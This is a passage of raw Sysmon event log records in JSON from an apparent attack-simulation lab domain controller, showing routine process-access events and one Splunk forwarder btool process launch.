C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1642,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1643,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1644,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1645,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-00105DC70200}\r\nSourceProcessId: 3756\r\nSourceThreadId: 3776\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-0010C9F20200}\r\nTargetProcessId: 3896\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-00105DC70200}","SourceProcessId":"3756","SourceThreadId":"3776","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-0010C9F20200}","TargetProcessId":"3896","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1646,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.507\r\nProcessGuid: {90617006-3FE5-5F2D-0000-001070F40200}\r\nProcessId: 3916\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nFileVersion: 8.0.2\r\nDescription: splunkd service\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunkd.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589\r\nParentProcessGuid: {90617006-3FE5-5F2D-0000-0010C9F20200}\r\nParentProcessId: 3896\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nParentCommandLine: btool server list general --no-log","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.507","ProcessGuid":"{90617006-3FE5-5F2D-0000-001070F40200}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","FileVersion":"8.0.2","Description":"splunkd service","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunkd.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\" btool server list general --no-log","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=B6D66AB97239BFB32F1CC9B8BFE1B4E0,SHA256=9D5EC3AA587B29840BE53E8E11B1C3BFE2FA3413DD65459325CBEEAFA66D3975,IMPHASH=CD69F86EE9B3C12390F5C7499BD3A589","ParentProcessGuid":"{90617006-3FE5-5F2D-0000-0010C9F20200}","ParentProcessId":"3896","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","ParentCommandLine":"btool server list general --no-log","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1647,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FE5-5F2D-0000-0010C9F20200}\r\nSourceProcessId: 3896\r\nSourceThreadId: 3900\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001070F40200}\r\nTargetProcessId: 3916\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FE5-5F2D-0000-0010C9F20200}","SourceProcessId":"3896","SourceThreadId":"3900","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001070F40200}","TargetProcessId":"3916","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+239c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2568|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+2926|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+11cf|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+1245|C:\\Program Files\\SplunkUniversalForwarder\\bin\\btool.exe+aa24|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1648,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE5-5F2D-0000-001070F40200}\r\nTargetProcessId: 3916\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE5-5F2D-0000-001070F40200}","TargetProcessId":"3916","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\SplunkD.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1649,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:57.500","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:58","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:57","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1650,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:57.500\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 